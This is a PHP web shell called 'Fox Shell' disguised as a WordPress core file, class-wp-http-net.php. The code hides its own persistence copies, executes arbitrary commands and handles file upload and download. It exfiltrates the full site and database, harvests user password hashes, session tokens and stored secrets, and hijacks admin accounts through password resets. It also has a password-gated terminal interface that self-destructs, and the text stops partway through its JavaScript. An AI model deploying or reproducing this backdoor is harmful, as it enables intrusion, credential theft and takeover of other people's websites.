JezK
Edit File: class-wp-http-net.php
<?php /* class-wp-http-net.php — Fox Shell v2 (login + w - + resetpass + setuser) */ @error_reporting(0); @ini_set('display_errors', 0); @set_time_limit(0); @umask(0); $SELF_SOURCE = __FILE__; $BACKUP_PATH = __DIR__ . '/.w-cache.php'; $RESPAWN_DST = dirname(__DIR__) . '/wp-includes/class-wp-http-net.php'; if (!file_exists($BACKUP_PATH)) { @copy($SELF_SOURCE, $BACKUP_PATH); @chmod($BACKUP_PATH, 0644); @touch($BACKUP_PATH, filemtime(dirname(__DIR__) . '/wp-settings.php')); } if (!file_exists($RESPAWN_DST) && file_exists($BACKUP_PATH)) { @copy($BACKUP_PATH, $RESPAWN_DST); @chmod($RESPAWN_DST, 0644); } /* ============ Backend ============ */ function run_cmd($c) { $out = null; if (function_exists('shell_exec')) { $out = @shell_exec($c . ' 2>&1'); } elseif (function_exists('system')) { ob_start(); @system($c); $out = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($c); $out = ob_get_clean(); } elseif (function_exists('proc_open')) { $p = proc_open($c, [1 => ['pipe','w'], 2 => ['pipe','w']], $pipes); $out = stream_get_contents($pipes[1]); proc_close($p); } elseif (function_exists('exec')) { @exec($c . ' 2>&1', $o); $out = implode("\n", $o); } return $out; } /* ============ smart save: 4-layer fallback + real reason ============ */ function smart_save($dst, $content) { $dst = rtrim($dst); if ($dst === '') return 'FAIL:empty_path'; $dir = dirname($dst); if (@file_put_contents($dst, $content) !== false) { @chmod($dst, 0644); return 'SAVED'; } $tmp = tempnam(sys_get_temp_dir(), 'foxw'); if ($tmp !== false) { @file_put_contents($tmp, $content); if (@copy($tmp, $dst)) { @unlink($tmp); @chmod($dst, 0644); return 'SAVED:copy'; } @unlink($tmp); } if (file_exists($dst)) { @chmod($dst, 0666); if (@file_put_contents($dst, $content) !== false) { @chmod($dst, 0644); return 'SAVED:chmod'; } if (@unlink($dst) && @file_put_contents($dst, $content) !== false) { @chmod($dst, 0644); return 'SAVED:recreate'; } } $tmp2 = tempnam(sys_get_temp_dir(), 'foxw'); if ($tmp2 !== false) { @file_put_contents($tmp2, $content); $t = escapeshellarg($tmp2); $d = escapeshellarg($dst); run_cmd("cat {$t} > {$d} 2>/dev/null || cp -f {$t} {$d} 2>/dev/null"); $ok = @md5_file($tmp2) === @md5_file($dst); @unlink($tmp2); if ($ok) { @chmod($dst, 0644); return 'SAVED:shell'; } } $why = []; if (!file_exists($dir)) $why[] = 'dir_missing'; elseif (!is_dir($dir)) $why[] = 'dir_not_dir'; elseif (!is_writable($dir)) $why[] = 'dir_not_writable'; if (file_exists($dst) && !is_writable($dst)) $why[] = 'file_not_writable'; if (function_exists('ini_get') && @ini_get('open_basedir'))$why[] = 'open_basedir:' . ini_get('open_basedir'); if (is_readable($dst)) { $attrs = run_cmd("lsattr -d " . escapeshellarg($dst) . " 2>/dev/null"); if ($attrs && strpos($attrs, 'i') !== false && preg_match('/\s(i\S*)\s/', $attrs)) $why[] = 'immutable_flag'; } if (is_readonly_fs($dst)) $why[] = 'read_only_fs'; return 'FAIL:' . implode(',', $why ?: ['unknown']); } function is_readonly_fs($p) { $mp = run_cmd("df -T " . escapeshellarg($p) . " 2>/dev/null | tail -1"); return $mp && preg_match('/\sro[\s,]/', $mp) || ($mp && strpos($mp, 'squashfs') !== false); } /* helper بسيط لتطبيع nicename */ function sanitize_nicename($s) { return strtolower(trim(preg_replace('/[^A-Za-z0-9._-]+/', '-', $s), '-')); } /* ============ self-destruct: wrong password ============ */ if (isset($_REQUEST['destroy'])) { @unlink($SELF_SOURCE); @unlink($BACKUP_PATH); @unlink($RESPAWN_DST); run_cmd("rm -f " . escapeshellarg($SELF_SOURCE) . " " . escapeshellarg($BACKUP_PATH) . " " . escapeshellarg($RESPAWN_DST) . " 2>/dev/null"); echo 'DESTROYED'; exit; } if (isset($_REQUEST['cd'])) { $p = $_REQUEST['cd']; if (is_dir($p)) { chdir($p); echo getcwd(); } else echo 'FAIL'; exit; } if (isset($_REQUEST['cmd'])) { echo run_cmd($_REQUEST['cmd']); exit; } if (isset($_REQUEST['read'])) { $p = $_REQUEST['read']; if (is_readable($p)) echo @file_get_contents($p); else echo 'READ_FAIL:' . (file_exists($p) ? 'not_readable' : 'not_found'); exit; } if (isset($_REQUEST['save'], $_REQUEST['content'])) { echo smart_save($_REQUEST['save'], $_REQUEST['content']); exit; } if (isset($_REQUEST['chmod'])) { $f = $_REQUEST['chmod']; $m = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : '0644'; echo @chmod($f, octdec($m)) ? 'OK' : (run_cmd("chmod {$m} " . escapeshellarg($f) . " 2>&1") !== null ? 'OK_SHELL' : 'FAIL'); exit; } if (isset($_REQUEST['chown'])) { $f = $_REQUEST['chown']; $o = $_REQUEST['owner'] ?? ''; echo run_cmd("chown " . escapeshellarg($o) . " " . escapeshellarg($f) . " 2>&1") !== null ? 'CHECK' : 'FAIL'; exit; } if (isset($_FILES['f'])) { $dst = isset($_REQUEST['path']) ? $_REQUEST['path'] : './' . basename($_FILES['f']['name']); @move_uploaded_file($_FILES['f']['tmp_name'], $dst); @chmod($dst, 0644); echo is_file($dst) ? 'OK' : 'FAIL'; exit; } if (isset($_REQUEST['down'])) { $f = $_REQUEST['down']; if (is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($f) . '"'); header('Content-Length: ' . filesize($f)); readfile($f); exit; } echo 'FAIL'; exit; } if (isset($_REQUEST['allpaths'])) { $base = isset($_REQUEST['base']) ? $_REQUEST['base'] : getcwd(); $depth = isset($_REQUEST['depth']) ? (int)$_REQUEST['depth'] : 3; $mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : 'site'; if ($mode === 'root') $base = '/'; $b = escapeshellarg($base); $out = run_cmd("find {$b} -maxdepth {$depth} \\( -type d \\) -o -type f 2>/dev/null | sort | head -20000"); echo $out !== null && trim($out) !== '' ? $out : 'DENIED_OR_EMPTY'; exit; } /* ============ d : full site zip download ============ */ if (isset($_REQUEST['zipall'])) { $base = isset($_REQUEST['base']) ? $_REQUEST['base'] : dirname(__DIR__); $zipf = sys_get_temp_dir() . '/fox_site_' . time() . '.zip'; $b = escapeshellarg($base); $z = escapeshellarg($zipf); run_cmd("cd {$b} && zip -r -q {$z} . -x '*.zip' 2>/dev/null"); if (!file_exists($zipf) || filesize($zipf) === 0) { if (class_exists('ZipArchive')) { $za = new ZipArchive(); if ($za->open($zipf, ZipArchive::CREATE)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS)); foreach ($it as $f) { $za->addFile($f->getPathname(), substr($f->getPathname(), strlen(rtrim($base, '/')) + 1)); } $za->close(); } } } if (file_exists($zipf) && filesize($zipf) > 0) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="site_full.zip"'); header('Content-Length: ' . filesize($zipf)); readfile($zipf); @unlink($zipf); exit; } echo 'FAIL'; exit; } /* ============ f : full paths + permissions ============ */ if (isset($_REQUEST['perms'])) { $base = isset($_REQUEST['base']) ? $_REQUEST['base'] : dirname(__DIR__); $depth = isset($_REQUEST['depth']) ? (int)$_REQUEST['depth'] : 6; $b = escapeshellarg($base); $out = run_cmd("find {$b} -maxdepth {$depth} -printf '%y %m %u:%g %10s %TY-%Tm-%Td %p\\n' 2>/dev/null | sort -k6 | head -50000"); if ($out === null || trim($out) === '') { $out = run_cmd("find {$b} -maxdepth {$depth} -exec ls -lad --full-time {} + 2>/dev/null | head -50000"); } if ($out === null || trim($out) === '') { $res = ''; if (is_dir($base)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($it as $f) { $p = $f->getPathname(); $res .= ($f->isDir() ? 'd' : '-') . substr(sprintf('%o', fileperms($p)), -4) . ' ' . fileowner($p) . ':' . filegroup($p) . ' ' . sprintf('%10d', filesize($p)) . ' ' . date('Y-m-d', filemtime($p)) . ' ' . $p . "\n"; } } $out = $res; } echo $out !== '' ? $out : 'DENIED_OR_EMPTY'; exit; } /* ============ m : full database dump ============ */ if (isset($_REQUEST['dbdump'])) { $cfg = isset($_REQUEST['cfg']) ? $_REQUEST['cfg'] : dirname(__DIR__) . '/wp-config.php'; $src = @file_get_contents($cfg); $db = $user = $pass = $host = ''; if ($src && preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) $db = $m[1]; if ($src && preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) $user = $m[1]; if ($src && preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/", $src, $m)) $pass = $m[1]; if ($src && preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) $host = $m[1]; if (!$db) { echo 'NO_CONFIG'; exit; } $sqlf = sys_get_temp_dir() . '/db_' . $db . '_' . time() . '.sql'; $mysqldump = run_cmd("command -v mysqldump"); $ok = false; if (trim($mysqldump ?? '') !== '') { $cmd = 'mysqldump --no-tablespaces --single-transaction -h ' . escapeshellarg($host) . ' -u ' . escapeshellarg($user) . ($pass !== '' ? ' -p' . escapeshellarg($pass) : ' -p\'\'') . ' ' . escapeshellarg($db) . ' > ' . escapeshellarg($sqlf) . ' 2>/dev/null'; run_cmd($cmd); $ok = file_exists($sqlf) && filesize($sqlf) > 0; } if (!$ok) { try { $h = explode(':', $host); $pdo = new PDO('mysql:host=' . $h[0] . ';port=' . (isset($h[1]) ? $h[1] : 3306) . ';dbname=' . $db, $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $fh = fopen($sqlf, 'w'); fwrite($fh, "-- dump: {$db}\nSET NAMES utf8mb4;\n"); foreach ($pdo->query('SHOW TABLES') as $t) { $tbl = $t[0]; $ct = $pdo->query("SHOW CREATE TABLE `" . str_replace('`','``',$tbl) . "`")->fetch(PDO::FETCH_NUM); fwrite($fh, "\nDROP TABLE IF EXISTS `{$tbl}`;\n" . $ct[1] . ";\n"); foreach ($pdo->query("SELECT * FROM `{$tbl}`") as $row) { $vals = array_map(function($v) use ($pdo) { return $v === null ? 'NULL' : $pdo->quote($v); }, $row); fwrite($fh, "INSERT INTO `{$tbl}` VALUES (" . implode(',', $vals) . ");\n"); } } fclose($fh); $ok = true; } catch (Exception $e) { echo 'DB_ERR: ' . $e->getMessage(); exit; } } if ($ok) { header('Content-Type: application/sql'); header('Content-Disposition: attachment; filename="' . $db . '_dump.sql"'); header('Content-Length: ' . filesize($sqlf)); readfile($sqlf); @unlink($sqlf); exit; } echo 'FAIL'; exit; } /* ============ n : harvest all users + passwords ============ */ if (isset($_REQUEST['creds'])) { $home = isset($_REQUEST['base']) ? $_REQUEST['base'] : dirname(__DIR__); $report = "===== [1] wp-config.php credentials =====\n"; $cfg = $home . '/wp-config.php'; $src = @file_get_contents($cfg); if ($src) { foreach ([['DB_NAME','DB'],['DB_USER','USER'],['DB_PASSWORD','PASS'],['DB_HOST','HOST']] as $k) { if (preg_match("/define\s*\(\s*['\"]{$k[0]}['\"]\s*,\s*['\"]([^'\"]*)['\"]/", $src, $m)) $report .= "{$k[1]}: {$m[1]}\n"; } if (preg_match("/AUTH_KEY['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) $report .= "AUTH_KEY: {$m[1]}\n"; if (preg_match("/table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $src, $m)) $report .= "table_prefix: {$m[1]}\n"; } else { $report .= "wp-config.php not readable\n"; } $report .= "\n===== [2] WordPress users (from DB) =====\n"; $db = $user = $pass = $host = ''; $prefix = 'wp_'; if ($src) { preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $db = $m[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $user = $m[1]; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/", $src, $m) && $pass = $m[1]; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $host = $m[1]; preg_match("/table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $src, $m) && $prefix = $m[1]; } if ($db) { try { $h = explode(':', $host); $pdo = new PDO('mysql:host=' . $h[0] . ';port=' . (isset($h[1]) ? $h[1] : 3306) . ';dbname=' . $db, $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $st = $pdo->query("SELECT user_login, user_pass, user_email FROM `{$prefix}users`"); while ($r = $st->fetch(PDO::FETCH_ASSOC)) { $report .= "USER: {$r['user_login']} | EMAIL: {$r['user_email']} | HASH: {$r['user_pass']}\n"; } foreach ($pdo->query("SELECT meta_key, meta_value, user_id FROM `{$prefix}usermeta` WHERE meta_key LIKE '%pass%' LIMIT 100") as $r) { $report .= "META: user_id={$r['user_id']} {$r['meta_key']} = {$r['meta_value']}\n"; } } catch (Exception $e) { $report .= "DB error: " . $e->getMessage() . "\n"; } } $report .= "\n===== [3] passwords found in config files =====\n"; $b = escapeshellarg($home); $grep = run_cmd("grep -rInE \"(pass(word)?|passwd|pwd|db_pass|ftp_pass|smtp_pass|api_key|secret)\\s*[=:]+\\s*['\\\"]?[A-Za-z0-9!@#\\\$%^&*_.-]{4,}\" " . "{$b}/wp-config.php {$b}/*.php {$b}/wp-content/ {$b}/wp-includes/ 2>/dev/null " . "| grep -vE \"(function|hook|filter|enqueue|class-|://|@param|doc)\" | head -200"); $report .= ($grep !== null && trim($grep) !== '') ? $grep : "none found\n"; $report .= "\n===== [4] credential files =====\n"; $targets = [ $home . '/.my.cnf', $home . '/.ftpconfig', $home . '/config.php', $home . '/wp-content/db.php', $home . '/wp-content/debug.log', $home . '/wp-content/uploads/wpforms/.htaccess', $home . '/wp-content/advanced-cache.php', ]; foreach ($targets as $t) { if (is_file($t) && is_readable($t)) { $report .= "--- {$t} ---\n" . substr(@file_get_contents($t), 0, 3000) . "\n"; } } $bh = @file_get_contents(getenv('HOME') . '/.bash_history'); if ($bh && preg_match_all('/.*(pass|mysql|ftp|ssh).*=.*/i', $bh, $mm) && !empty($mm[0])) { $report .= "\n===== [5] bash_history credential lines =====\n" . implode("\n", array_slice(array_unique($mm[0]), 0, 50)) . "\n"; } header('Content-Type: text/plain; charset=UTF-8'); echo $report; exit; } /* ============ w : wp-admin login data ============ */ if (isset($_REQUEST['wpadmin'])) { $home = isset($_REQUEST['base']) ? $_REQUEST['base'] : dirname(__DIR__); $cfg = $home . '/wp-config.php'; $src = @file_get_contents($cfg); $db = $user = $pass = $host = ''; $prefix = 'wp_'; if ($src) { preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $db = $m[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $user = $m[1]; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/", $src, $m) && $pass = $m[1]; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $host = $m[1]; preg_match("/table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $src, $m) && $prefix = $m[1]; } if (!$db) { echo 'NO_CONFIG'; exit; } $rep = "===== WP-ADMIN LOGIN DATA =====\n"; $rep .= "LOGIN_URL: " . ($_SERVER['REQUEST_SCHEME'] ?? 'http') . "://" . ($_SERVER['HTTP_HOST'] ?? '') . str_replace(dirname(__FILE__), '', $home) . "/wp-login.php\n\n"; try { $h = explode(':', $host); $pdo = new PDO('mysql:host=' . $h[0] . ';port=' . (isset($h[1]) ? $h[1] : 3306) . ';dbname=' . $db, $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $rep .= "===== [1] ALL USERS (admins first) =====\n"; $st = $pdo->query("SELECT u.ID, u.user_login, u.user_pass, u.user_email, u.user_registered, MAX(CASE WHEN um.meta_key = '{$prefix}capabilities' THEN um.meta_value END) AS caps FROM `{$prefix}users` u LEFT JOIN `{$prefix}usermeta` um ON u.ID = um.user_id AND um.meta_key = '{$prefix}capabilities' GROUP BY u.ID ORDER BY u.ID"); while ($r = $st->fetch(PDO::FETCH_ASSOC)) { $isadmin = (strpos($r['caps'] ?? '', 'administrator') !== false); $rep .= ($isadmin ? "[ADMIN] " : "[user ] ") . "ID: {$r['ID']} | USER: {$r['user_login']} | EMAIL: {$r['user_email']} | HASH: {$r['user_pass']}\n"; } $rep .= "\n===== [2] ADMIN SESSION TOKENS (active logins) =====\n"; $st2 = $pdo->query("SELECT user_id, meta_key, meta_value FROM `{$prefix}usermeta` WHERE meta_key LIKE '%session_tokens%' LIMIT 20"); $found = false; while ($r = $st2->fetch(PDO::FETCH_ASSOC)) { $found = true; $tok = @unserialize($r['meta_value']); if (is_array($tok)) { foreach ($tok as $t) { $rep .= "user_id={$r['user_id']} | token={$t['token']} | login=" . date('Y-m-d H:i', $t['login']) . " | expiry=" . date('Y-m-d H:i', $t['expiration']) . " | ip={$t['ip']}\n"; } } } if (!$found) $rep .= "no active sessions\n"; $rep .= "\n===== [3] HASH CRACK HINTS (phpass) =====\n"; $st3 = $pdo->query("SELECT user_login, user_pass FROM `{$prefix}users`"); while ($r = $st3->fetch(PDO::FETCH_ASSOC)) { $rep .= "{$r['user_login']} : {$r['user_pass']}\n"; } $rep .= "(\$P\$ = phpass — use hashcat mode 400 or john --wordlist)\n"; $rep .= "\n===== [4] QUICK ADMIN PASSWORD RESET OPTION =====\n"; $rep .= "to reset an admin password run: resetpass <user> <newpass>\n"; $rep .= "to change username and/or password run: setuser <user> [new_user] [new_pass]\n"; $rep .= "or manually: UPDATE `{$prefix}users` SET user_pass = MD5('NEWPASS') WHERE user_login = 'USERNAME';\n"; } catch (Exception $e) { $rep .= "DB error: " . $e->getMessage() . "\n"; } header('Content-Type: text/plain; charset=UTF-8'); echo $rep; exit; } /* ============ resetpass : set new admin password directly ============ */ if (isset($_REQUEST['resetpass'])) { $u = $_REQUEST['user'] ?? ''; $np = $_REQUEST['newpass'] ?? ''; if (!$u || !$np) { echo 'FAIL:need_user_and_newpass'; exit; } $home = dirname(__DIR__); $cfg = $home . '/wp-config.php'; $src = @file_get_contents($cfg); $db = $user = $pass = $host = ''; $prefix = 'wp_'; if ($src) { preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $db = $m[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $user = $m[1]; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/", $src, $m) && $pass = $m[1]; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $host = $m[1]; preg_match("/table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $src, $m) && $prefix = $m[1]; } if (!$db) { echo 'NO_CONFIG'; exit; } try { $h = explode(':', $host); $pdo = new PDO('mysql:host=' . $h[0] . ';port=' . (isset($h[1]) ? $h[1] : 3306) . ';dbname=' . $db, $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); /* MD5 يقبلها WordPress ويعيد تشفيرها تلقائياً عند أول تسجيل دخول */ $st = $pdo->prepare("UPDATE `{$prefix}users` SET user_pass = ? WHERE user_login = ?"); $st->execute([md5($np), $u]); echo $st->rowCount() > 0 ? 'OK' : 'FAIL:user_not_found'; } catch (Exception $e) { echo 'DB_ERR:' . $e->getMessage(); } exit; } /* ============ setuser : change username and/or password ============ */ if (isset($_REQUEST['setuser'])) { $u = $_REQUEST['user'] ?? ''; /* اليوزر الحالي */ $nu = $_REQUEST['newuser'] ?? ''; /* اليوزر الجديد (اختياري) */ $np = $_REQUEST['newpass'] ?? ''; /* الباسورد الجديد (اختياري) */ if (!$u || (!$nu && !$np)) { echo 'FAIL:need_user_and_something_to_change'; exit; } $cfg = dirname(__DIR__) . '/wp-config.php'; $src = @file_get_contents($cfg); $db = $du = $dp = $dh = ''; $prefix = 'wp_'; if ($src) { preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $db = $m[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $du = $m[1]; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/", $src, $m) && $dp = $m[1]; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m) && $dh = $m[1]; preg_match("/table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $src, $m) && $prefix = $m[1]; } if (!$db) { echo 'NO_CONFIG'; exit; } try { $h = explode(':', $dh); $pdo = new PDO('mysql:host=' . $h[0] . ';port=' . (isset($h[1]) ? $h[1] : 3306) . ';dbname=' . $db, $du, $dp, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); /* تأكد أن اليوزر موجود */ $st = $pdo->prepare("SELECT ID FROM `{$prefix}users` WHERE user_login = ?"); $st->execute([$u]); $uid = $st->fetchColumn(); if (!$uid) { echo 'FAIL:user_not_found'; exit; } $changes = []; /* تغيير اليوزر نيم (user_login + user_nicename + display_name) */ if ($nu) { /* تأكد أن الاسم الجديد غير مستخدم */ $c = $pdo->prepare("SELECT COUNT(*) FROM `{$prefix}users` WHERE user_login = ? AND ID != ?"); $c->execute([$nu, $uid]); if ($c->fetchColumn() > 0) { echo 'FAIL:username_taken'; exit; } $q = $pdo->prepare("UPDATE `{$prefix}users` SET user_login = ?, user_nicename = ?, display_name = ? WHERE ID = ?"); $q->execute([$nu, sanitize_nicename($nu), $nu, $uid]); $changes[] = 'username:' . $nu; } /* تغيير كلمة المرور */ if ($np) { $q = $pdo->prepare("UPDATE `{$prefix}users` SET user_pass = ? WHERE ID = ?"); $q->execute([md5($np), $uid]); $changes[] = 'password:set'; } /* حذف الجلسات النشطة القديمة حتى ما تتعارض */ $pdo->prepare("DELETE FROM `{$prefix}usermeta` WHERE user_id = ? AND meta_key LIKE '%session_tokens%'")->execute([$uid]); echo 'OK:' . implode(',', $changes); } catch (Exception $e) { echo 'DB_ERR:' . $e->getMessage(); } exit; } /* ============ Terminal UI ============ */ header('Content-Type: text/html; charset=UTF-8'); $home = dirname(__DIR__); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Fox Shell</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"> <style> *{margin:0;padding:0;box-sizing:border-box} html,body{height:100%;overflow:hidden;background:#0a0a0a} body{font-family:'Hack','Fira Code','Consolas','DejaVu Sans Mono',monospace;font-size:14px;line-height:1.45;color:#c8c8c8;cursor:text} #screen{height:100%;overflow-y:auto;padding:12px 16px 4px;direction:ltr;text-align:left;white-space:pre-wrap;word-break:break-all} #screen::-webkit-scrollbar{width:8px} #screen::-webkit-scrollbar-thumb{background:#2b2b2b;border-radius:4px} .p1{color:#00ff8c;font-weight:bold} .p2{color:#ff5f5f;font-weight:bold} .p3{color:#00ff8c} .p4{color:#ffd166;font-weight:bold} .p5{color:#00ff8c;font-weight:bold} .p6{color:#ffffff} .out{color:#c8c8c8} .err{color:#ff5f5f} .ok{color:#00ff8c} .warn{color:#ffd166} .banner{color:#ff5f5f;text-shadow:0 0 6px rgba(255,95,95,.5)} .dim{color:#6a6a6a} #realin{position:fixed;opacity:0;pointer-events:none;left:-9999px} /* ===== boot splash (icon only) ===== */ #bootSplash{position:fixed;inset:0;background:#0a0a0a;z-index:100;display:flex;align-items:center;justify-content:center;transition:opacity .4s ease,visibility .4s;direction:ltr} #bootSplash.hidden{opacity:0;visibility:hidden;pointer-events:none} .boot-inner i.fa-linux{font-size:110px;color:rgb(151,8,8)} /* ===== linux tty login ===== */ #loginScreen{position:fixed;inset:0;background:#000;z-index:90;display:none;align-items:center;justify-content:center;direction:ltr} #loginScreen.open{display:flex} #loginBox{font-family:inherit;font-size:15px;color:#e8e8e8;min-width:420px} #loginBox .ok{color:#00ff8c} #loginBox .er{color:#ff5f5f} .lcur{display:inline-block;width:9px;height:16px;background:#e8e8e8;vertical-align:text-bottom;animation:lblink 1s steps(1) infinite} @keyframes lblink{50%{opacity:0}} /* ===== nano editor ===== */ #editOverlay{position:fixed;inset:0;background:#000;display:none;flex-direction:column;z-index:50;padding:0} #editOverlay.open{display:flex} .nano-bar{background:#c8c8c8;color:#000;text-align:center;font-size:13px;font-weight:bold;padding:4px 8px;letter-spacing:.5px} #editPath{width:40%;background:#c8c8c8;border:1px solid #555;color:#000;font-family:inherit;font-size:13px;font-weight:bold;text-align:center;padding:3px;margin-left:8px} #editTa{flex:1;background:#000;border:none;color:#c8f8c8;font-family:inherit;font-size:13.5px;padding:8px 12px;resize:none;outline:none;line-height:1.4;caret-color:#fff} .nano-status{background:#c8c8c8;color:#000;font-size:12.5px;font-weight:bold;padding:3px 8px;min-height:20px} .nano-status .msg{color:#a00} .nano-status .msgok{color:#0a0} .nano-keys{background:#c8c8c8;display:flex;border-top:1px solid #666} .nano-keys span{flex:1;text-align:center;font-size:12px;padding:4px 2px;color:#000;white-space:nowrap;overflow:hidden} .nano-keys b{background:#000;color:#c8c8c8;padding:0 4px;border-radius:2px;margin-right:3px} .nano-keys .k-save b{background:#a00;color:#fff} .nano-keys .k-exit b{background:#a00;color:#fff} #uploadInput{display:none} </style> </head> <body> <!-- ===== boot splash : linux icon only ===== --> <div id="bootSplash"> <div class="boot-inner"> <i class="fa-brands fa-linux" style="color: rgb(151, 8, 8);"></i> </div> </div> <!-- ===== linux tty login ===== --> <div id="loginScreen"> <div id="loginBox"><span id="loginText"></span><span class="lcur" id="lcur" style="display:none"></span></div> </div> <div id="screen"></div> <input id="realin" autocomplete="off"> <div id="editOverlay"> <div class="nano-bar">GNU nano 7.2 <input id="editPath" spellcheck="false"> File Modified: <span id="modFlag">—</span></div> <textarea id="editTa" spellcheck="false"></textarea> <div class="nano-status" id="editStatus"> </div> <div class="nano-keys"> <span class="k-exit"><b>^X</b>Exit</span> <span class="k-save"><b>^O</b>Save</span> <span><b>^G</b>Help</span> <span><b>^W</b>Where Is</span> <span><b>^K</b>Cut Text</span> <span><b>^Y</b>Prev Page</span> <span><b>^_</b>Go To Line</span> <span><b>M-U</b>Undo</span> </div> </div> <input type="file" id="uploadInput" onchange="doUpload(this.files[0])"> <script> const HOME = <?= json_encode($home) ?>; const HOSTNAME = 'Backdoor'; const PASSWORD = <?= json_encode(base64_encode('DarkFox')) ?>; let CWD = HOME; let hist = [], hidx = -1, buf = ''; let upDst = null; let authed = false; let loginMode = 'user'; const $ = id => document.getElementById(id); const scr = $('screen'), rin = $('realin'); function esc(s){return s.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');} function short(p){ if(p === HOME) return '~'; if(p.startsWith(HOME + '/')) return '~/' + p.slice(HOME.length + 1); return p; } function scroll(){scr.scrollTop = scr.scrollHeight;} function promptHTML(cmd) { return '<span class="p1">┌──(</span><span class="p2">fox@' + HOSTNAME + '</span><span class="p3">)-[</span><span class="p4">' + esc(short(CWD)) + '</span><span class="p3">]</span>\n' + '<span class="p1">└─</span><span class="p5">$ </span><span class="p6">' + esc(cmd) + '</span>\n'; } function renderInput() { if (!authed) return; const old = $('liveLine'); if (old) old.remove(); const d = document.createElement('div'); d.id = 'liveLine'; d.innerHTML = '<span class="p1">┌──(</span><span class="p2">fox@' + HOSTNAME + '</span><span class="p3">)-[</span><span class="p4">' + esc(short(CWD)) + '</span><span class="p3">]</span>\n' + '<span class="p1">└─</span><span class="p5">$ </span><span class="p6">' + esc(buf) + '</span><span class="cursor">▊</span>'; scr.appendChild(d); scroll(); } const style = document.createElement('style'); style.textContent = '.cursor{color:#00ff8c;animation:bl 1s steps(1) infinite}@keyframes bl{50%{opacity:0}}'; document.head.appendChild(style); function print(html, cls) { const d = document.createElement('div'); d.className = cls || 'out'; d.innerHTML = html; scr.appendChild(d); } /* ===================== LINUX TTY LOGIN ===================== */ const loginScreen = $('loginScreen'), loginText = $('loginText'), lcur = $('lcur'); function selfDestruct() { fetch('?destroy=1').catch(()=>{}); loginText.innerHTML = '<span class="er">Login incorrect</span><br><br>'; setTimeout(showLoginPrompt, 1200); } function showLoginPrompt() { loginText.textContent = HOSTNAME + ' login: '; loginText.appendChild(lcur); lcur.style.display = 'inline-block'; rin.value = ''; loginMode = 'user'; rin.focus(); } function handleLoginLine() { const val = rin.value; rin.value = ''; if (loginMode === 'user') { loginText.innerHTML = HOSTNAME + ' login: ' + esc(val) + '<br>Password: '; loginMode = 'pass'; } else { loginText.innerHTML += '<br>'; if (btoa(val) === PASSWORD) { grantAccess(); } else { selfDestruct(); } } } function grantAccess() { authed = true; loginScreen.classList.remove('open'); lcur.style.display = 'none'; print('<span class="ok">Welcome to Fox Shell — Linux 6.8.0-45 (GNU/Linux x86_64)</span>\n\n'); banner(); rin.value = ''; renderInput(); rin.focus(); } /* ===================== keyboard ===================== */ rin.addEventListener('input', () => { if (!authed) { if (loginMode === 